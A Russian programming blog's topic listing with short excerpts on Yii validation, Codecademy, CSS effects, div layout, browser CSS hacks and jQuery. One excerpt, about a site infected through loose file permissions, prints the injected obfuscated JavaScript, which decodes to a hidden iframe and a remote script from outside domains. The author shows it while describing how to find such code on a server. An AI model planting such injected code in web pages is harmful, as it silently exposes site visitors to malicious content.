программирование

1 читатель, 11 топиков

Yii:Правило валидации "safe", для тех, кто в танке



Вступление

Зачастую, начинающие Yii программисты, непонимают для чего нужно правило валидации «safe». Эта статья должна прояснить путанницу, и заодно объяснить, что такое саммовое присваивание.

Вкраце. Правила валидации служит двум целям:
Убедиться, что данные переданные через форму, введены корректно.
Определить, какие поля могут быть назначены переменной $model.
Они связанны, но она не являются одним и тем же.

Читать дальше →

С чего начать изучение программирования? Начните с codecademy!


Создание кодов, сайтов, дизайнов, чатов и многого другого требует некоторых знаний в области информатики и веб – кодирования. Один из самых популярных языков веб – программирования по праву считается Java Script. Популярен он, в первую очередь, из-за своего удобства. Он легкий и не требует многих знаний об информационных технологиях и кодировании информации. Для начала работы со скриптами хвати и простого знания английского языка. Однако, не смотря на свою простоту – изучение этого языка – скучный и трудоемкий процесс.

CodecAdemy – это сервис, созданный программистами для людей желающих, но не понимающих как научиться программировать. Он позволяет быстро и просто научиться программировать на Java Script, при этом не перенапрягаясь и даже получая удовольствие. Обучение можно начать без регистрации, а можно зарегистрироваться. Само обучение выглядит как выполнение уроков, которые отображаются в специализированном «чат» — блоке. К каждому заданию идет пояснение значения того или иного кода. Сервис обучения программирования для начинающих CodecAdemy бесплатен и не требует никаких вложений. При этом удачно созданный код можно продать через свою библиотеку скриптов.

www.codecademy.com/ru#!/exercises/0

Самые популярные языки программирования

Часто для программистов не имеет значения популярность конкретного языка программирования, и они стараются использовать инструмент, наилучшим образом подходящий для задания, или в случае сомнения, используют то, что они знают лучше всего. Но иногда популярность языка действительно имеет значение:
  1. Когда компании решают, какой язык использовать для новых проектов. Учитывая, что не так легко привлечь опытных программистов, компании выбирают язык, который разработчики знают больше всего.
  2. Сами разработчики стараются изучать язык, который требуется чаще всего на рынке. А знание того, чего хотят работодатели, полезно.
  3. Знание наиболее популярных языков программирования может быть полезно преподавателям, которых заботит будущее трудоустройство их студентов.

Конкретного источника рейтинга языков программирования нет, но если сложить данные из нескольких авторитетных ресурсов, можно составить общую тенденцию:

1. Сайты StackExchange и Github


В 2010 Drew Conway и John Myles White пришла в голову идея, составить рейтинг популярности языков программирования, используя число проектов в Github и число вопросов в StackOverflow по конкретному языку — результаты этих двух источников были очень тесно связаны. На графике ниже представлены данные, собранные со StackExchange и Github за февраль 2012.

Читать дальше →

Новый JetBrains dotCover 2.0



Компания по производству программного обеспечения JetBrains представила новую версию утилиты для анализа покрытия кода NET.приложений юнит-тестами.

Данный релиз поможет разработчикам быстрее узнать степень охвата их приложений тестами модулей. В отличие от предыдущей версии, которая была выпущена в качестве надстройки для пакета ReSharper, новая dotCover 2.0 представляет собой независимый инструмент для “прогонки” модульных тестов с возможностью поддержки популярных тест-систем.
Читать дальше →

Шел код на сайте и его автоматический поиск на сервере.

Не так давно столкнулся с проблемой, точнее с ошибкой распределния прав на файлы. Поставил, слишком большие права на файл и в результате чего получил шелкод в теле файла.
Проблема состоит в том, что права на файлы нужно выставлять аккуратно и на пределе того, сколько нужно «свободы» этому файлы.


<SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!119!105!100!116!104!61!34!48!34!32!104!101!105!103!104!116!61!34!48!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!99!114!111!108!108!105!110!103!61!34!110!111!34!32!115!114!99!61!34!104!116!116!112!58!47!47!97!100!117!108!116!116!46!110!101!116!47!112!111!115!116!47!105!109!97!103!101!46!112!104!112!63!115!105!100!61!49!34!62!60!47!105!102!114!97!109!101!62!60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!34!32!115!114!99!61!34!104!116!116!112!58!47!47!110!111!118!105!107!111!118!50!48!49!49!46!114!117!47!49!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt©!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>


Итак задача: найти шелл или другой уязвимый скрипт на сервере.
В ручную это займёт большое количество времени, поэтому прибегнем к помощи php. Для начала нужно рекурсивно собрать ссылки на все существующие файлы, а далее мы проверим каждый скрипт на наличее вредоносного кода и при необходимости уберём его с нашего сервера.
Читать дальше →

Плагин для отображения объектов поверх изображений

Вот, буквально пару дней назад, человек попросил объяснить решение его задачи.
Плагин для отображения объектов поверх изображений
Собственно, сама задача:
Имеется картинка. При наведении на нее курсора, поверх изображения появляется блок, в котором содержатся ссылки. Все должно быть универсально, а вдруг на странице будет много картинок?

Теория.
Имеем какой-то блок, картинки внутри которого будут подвергаться нашему правилу. Каждую картинку в этом блоке оборачиваем в еще один блок с классом outofimg. Внутри нового блока создаем блок, который выступает в роли всплывающей подсказки. Если вы совсем запутались, то вот вам наглядный пример:
Плагин для отображения объектов поверх изображений

Читать дальше →

Эффект прозразрочности посредством CSS

Эффект прозразрочности посредством CSS
В данном посте, я опишу давольно красивый и простый пример, который делает картинку (в нашем случае кнопки) прозрачной, а при наведении — изменяется на исходный цвет.
1. Добавляем в style.css следующее: (в конец)
/* ----////// Эффект прозрачности /////------- */

#banners a img {
opacity:0.3; -moz-opacity:0.3; filter:alpha(opacity=40);
}

#banners a:hover img {
opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);
}
2. Заключаем счётчики или любое изображение в дивы:
<div id="banners">Тут ваши счётчики</div>

Основы верстки

основы, верстка, верстки, основы верстки, osnovy verstki
Давно пошел спор насчет того, что же лучше всего употреблять div или table! Конечно новичку будет намного понятней верстать с помощью таблиц. Однако сейчас я попытаюсь рассказать молейшую часть о создании каркаса (скелета) сайта с помощью div.
Для начало вы должны знать как будет выглядеть ваш скелет, если бы в верстали таблицами. Например, вот что мы можем сделать:
<table border=«1» width=«60%» align=«center» cellspacing=«0» cellpadding=«0»><tr><td>Это пример таблицами!!!</td></tr></table>







Теперь это выражаем через div:
1.  В таблице стилей прописываем:
.TPage {width:60%; border:1px solid #000000; margin-left:20%;}

Запомните, имя класса не должно начинаться с цифры! Ширину всегда указывать в %. Для легкости нахождения margin-left, надо 100% минус ширину (в процентах) и разделить на 2.
Теперь пишем код:
<div class=«TPage»></div>

Получаем то, что вы хотели!
2.  В таблице стилей пропиисываем id Div'а:

#table_1 {width:60%;margin-left:20%;border:1 solid #000000;
}

Теперь, естественно, добавляем тег div с именем table_1:
<div id=«table_1»></div>


Вот и все!!! Наш первый урок закончен. Читаем далее, как я обещал, каркас. Только для начала придумайте каким он будет! Вот мой:

Я уже привык и поэтому мне вариант в таблице не нужен. Вы, если зхотите, можете воссоздать его. Ну ладно, теперь преступим все это в таблице стилей:
.TPage {width:90%; border:1px solid #000; text-align:center; margin-left:5%; margin-top:1%;}
Я уже говорил, как кому удобно, так он и настраивает страницу. Если же вы не знаете, что здесь каждое значит, тогда закройте браузер и отойдите от компьютера ;). Это мы сделали всего лишь Обводку вокруг нашего содержимого сайта! Идем дальше. Дальше ВНУТРИ мы помещаем header (шапку) и записи (TNote)
.THead {width:90%; border:1px solid #000; margin-left:5%; margin-top:1%; margin-bottom:1%}

.TNote {width:90%; border:1px solid #000; margin-left:5%; margin-bottom:1%;}
Теперь ВНУТРЬ TNote добавляем TMenu и TInfo:
.TMenu {width:60%; border:1px solid #000; margin-bottom:1%; float:left;}
.TInfo {width:39%; border:1 solid #000; float:right;}
В принципе вот и все! Воплощаем это кодом, только там где я говорил внутрь, значит внутрь предыдущего div! Смотрим:
<div class=«TPage»><div class=«THead»>Header</div>

<div class=«TNote»>
<div class=«TMenu»>
Menu
</div>
<div class=«TInfo»>
Info
<div>
</div>
</div>


Однако это не все. На картинке показано, что внутри TMenu у меня находится еще две таблицы. Конечно это не сложно, но все же. Внутрь тега <div class=«TMenu»> добавляем div с классами:
.Menu {width:100%; border:1px solid #000; margin-bottom:1%}
.Content {width:100%; border:1px solid #000; margin-bottom:1%;}
Получаем полный код:

<div class=«TPage»><div class=«THead»>Header</div>
<div class=«TNote»>
<div class=«TMenu»>
<div class=«menu»>
Menu
</div>
<div class=«Content»>

Content
</div>
</div>
<div class=«TInfo»>
Info
<div>
</div>
</div>


Видим, что не очень красиво получается. Сливается несколько таблиц и получается жирная линия. Чтобы такого не случилось, убираем в некоторых классах border:1 на border:0. У меня например такими классами являются: TMenu и  TNote!  Желаю удачи… Если есть вопросы по статье или по данной теме, то обращайтесь!

CSS хаки

.browser { position: absolute; top: 0px; right: 0px; z-index: 2; padding: 10px }
.browser div { display: none }

/* Все вменяемые браузеры */

*:lang(ru) #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */
html>/**/body #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */

/* IE */

* html #lightIE6 { display: block } /* Будет работать в IE6 и в режиме quirks в IE7 */
*+html #lightIE7 { display: block }

body div.stopper {
width: 100%;
max-width: 1100px;
min-width: 900px;
*width: expression(document.body.clientWidth > 1100? «1100px»: document.body.clientWidth < 900? «900px»: «100%»); /* оверрайд одного свойства — в данном случае это эмуляция min- и max-width */
}

/* FireFox */

@-moz-document url-prefix() {
/* для всех FireFox, вобщем-то можно и без этого уже, просто писать стиль, благодаря обрамлению */
#lightFF, x:-moz-any-link { display: block }
/* главное — ошибиться в регистре, работает только для ID */
#lightFF2[id=lightff2] { display: block }
/* Firefox 3 имеет новый селектор :default. Алярм, без обрамления IE поймет эту конструкцию */
#lightFF3, x:-moz-any-link, x:default { display: block }
}

/* Opera 9.5 */

/* not после @media не обрабатывается ничем, кроме Opera 9.5 */
@media not all and (-webkit-min-device-pixel-ratio) {
#lightO95 { display: block }
}

/* Opera 9.2 */

/* Opera эту конструкцию не поддерживает, но Opera 9.2 по неизвестным причинам все равно обрабатывает */
@media all and (scan: progressive) {
#lightO92 { display: block }
}

/* Safari */

/* Первая конструкция — против Opera 9.5, которая понимает вторую, а вторая — против Opera 9.2, которая понимает первую */
/* Safari понимает обе, поэтому хак работает */
@media all and (-webkit-min-device-pixel-ratio:0) {
body:first-of-type #lightSF3 { display: block }
/* вместо :first-of-type можно еще использовать :nth-of-type(1) — он для Safari 3.1 */
}

Плавающий блок с помощью jquery

Плавающий блок с помощью jquery (или position:fixed относительно родительского блока)

Встала задача сделать position:fixed относительно родительского блока. При поиске в Интернете наткнулся на интересный jquery скриптик, делающий подобную вещь.

Читать дальше →